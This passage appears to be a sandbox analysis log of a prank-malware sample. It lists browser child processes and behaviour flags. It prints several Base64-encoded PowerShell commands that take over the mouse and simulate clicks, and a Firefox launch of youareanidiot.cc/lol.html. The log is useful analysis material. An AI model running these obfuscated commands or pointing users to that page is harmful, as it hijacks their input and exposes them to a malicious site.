        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=6812,i,18443360566101812284,686038336977673786,2097152 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=6816 /prefetch:1
        5⤵
        
        PID:5916
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6876,i,9305426944881825006,5557485208207706462,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=7064 /prefetch:14
        5⤵
        
        PID:6644
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6876,i,9305426944881825006,5557485208207706462,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=7064 /prefetch:14
        5⤵
        
        PID:3920
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7452,i,7822545201365428479,5882486058053424539,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=7456 /prefetch:14
        5⤵
        
        PID:8368
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7460,i,7349201504561876839,7648641469043452567,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=7472 /prefetch:14
        5⤵
        
        PID:8376
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7468,i,10669149472041299024,541934960788911928,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=7464 /prefetch:14
        5⤵
        
        PID:8384
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2816,i,2439743799453659296,14566920385582565825,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=7676 /prefetch:14
        5⤵
        
        PID:3064
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6084,i,5941118229346711205,3430059860421915173,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=6088 /prefetch:14
        5⤵
        
        PID:1256
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6044,i,15626983873747213599,7389159754229636759,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=5836 /prefetch:14
        5⤵
        
        PID:8492
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=7212,i,9275066666672612241,14073029421055940665,262144 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=7372 /prefetch:10
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:8368
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5280,i,14869154756358212563,7182821950007874048,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:14
        5⤵
        
        PID:692
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3648,i,9544980644492701933,1264853865338966617,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=828 /prefetch:14
        5⤵
        
        PID:9092
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7468,i,111038491171332958,9627679990419555642,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=7144 /prefetch:14
        5⤵
        
        PID:3080
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7200,i,12358378595972601000,16984204447427718249,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=5840 /prefetch:14
        5⤵
        
        PID:4628
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5788,i,12477421476758719883,11326721938786717101,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=7340 /prefetch:14
        5⤵
        
        PID:8340
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3404,i,8948280248709361485,6294051264383406475,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=6876 /prefetch:14
        5⤵
        
        PID:2260
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1092,i,1631158718714506626,6555224505857629877,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=5748 /prefetch:14
        5⤵
        
        PID:9180
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5844,i,14254093291364819344,14700144285433780162,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=1096 /prefetch:14
        5⤵
        
        PID:6488
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2024,i,12810265108047358160,15813879768566207339,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=5936 /prefetch:14
        5⤵
        
        PID:5664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1076
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5132
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Drops desktop.ini file(s)
        Detected potential entity reuse from brand GOOGLE.
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3764
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1956 -prefsLen 27097 -prefMapHandle 1960 -prefMapSize 270279 -ipcHandle 2032 -initialChannelId {7df5cee9-e777-482e-b129-18ebb9f281a6} -parentPid 3764 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3764" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        6⤵
        
        PID:2660
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2472 -prefsLen 27133 -prefMapHandle 2476 -prefMapSize 270279 -ipcHandle 2484 -initialChannelId {b36ebcf2-03ac-4876-a5e9-2aac00a53e22} -parentPid 3764 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3764" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        6⤵
        
        PID:3836
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3660 -prefsLen 25164 -prefMapHandle 3664 -prefMapSize 270279 -jsInitHandle 3668 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3676 -initialChannelId {611b1d02-ff7d-46de-b9c7-221d3424bd44} -parentPid 3764 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3764" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        6⤵
        Checks processor information in registry
        
        PID:6380
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3824 -prefsLen 27274 -prefMapHandle 3828 -prefMapSize 270279 -ipcHandle 3908 -initialChannelId {3a15f379-027b-4ef2-929f-4433f6a72999} -parentPid 3764 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3764" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        6⤵
        
        PID:6408
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4368 -prefsLen 34773 -prefMapHandle 4372 -prefMapSize 270279 -jsInitHandle 4376 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4384 -initialChannelId {aa3607f0-254d-4760-91f1-2e296a2af211} -parentPid 3764 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3764" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        6⤵
        Checks processor information in registry
        
        PID:6840
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2756 -prefsLen 32900 -prefMapHandle 4584 -prefMapSize 270279 -jsInitHandle 4852 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3216 -initialChannelId {02cd91c9-1269-4673-985c-717283ad5dba} -parentPid 3764 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3764" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
        6⤵
        Checks processor information in registry
        
        PID:7420
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5336 -prefsLen 35010 -prefMapHandle 5332 -prefMapSize 270279 -ipcHandle 5252 -initialChannelId {a8c4c7aa-bcfc-4e9e-b816-863c58175578} -parentPid 3764 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3764" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 utility
        6⤵
        Checks processor information in registry
        
        PID:256
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 1 -prefsHandle 5848 -prefsLen 35062 -prefMapHandle 5844 -prefMapSize 270279 -ipcHandle 4508 -initialChannelId {3751eef6-8643-4492-a10f-2eb57cebc957} -parentPid 3764 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3764" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 utility
        6⤵
        Checks processor information in registry
        
        PID:7684
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6012 -prefsLen 32952 -prefMapHandle 6016 -prefMapSize 270279 -jsInitHandle 6020 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6024 -initialChannelId {0e604c6c-8fec-429a-9430-bc8d2fff5387} -parentPid 3764 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3764" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        6⤵
        Checks processor information in registry
        
        PID:7948
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6044 -prefsLen 32952 -prefMapHandle 6048 -prefMapSize 270279 -jsInitHandle 6052 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6084 -initialChannelId {f3fe4e29-6782-4954-bd02-29bda5fd09d1} -parentPid 3764 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3764" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
        6⤵
        Checks processor information in registry
        
        PID:8004
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6068 -prefsLen 32952 -prefMapHandle 6072 -prefMapSize 270279 -jsInitHandle 6076 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6092 -initialChannelId {18b768ee-6f49-4996-a8d2-4d389293e99f} -parentPid 3764 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3764" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        6⤵
        Checks processor information in registry
        
        PID:8028
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4276 -prefsLen 32952 -prefMapHandle 4280 -prefMapSize 270279 -jsInitHandle 4528 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6740 -initialChannelId {2e8e4a55-2fc6-4b59-91bc-053b1f5d105f} -parentPid 3764 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3764" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        6⤵
        Checks processor information in registry
        
        PID:8008
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4712 -prefsLen 32952 -prefMapHandle 4716 -prefMapSize 270279 -jsInitHandle 4720 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5556 -initialChannelId {d83eaf26-e2a4-4663-a28f-fffe33fb9eee} -parentPid 3764 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3764" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        6⤵
        Checks processor information in registry
        
        PID:6936
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5740
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHM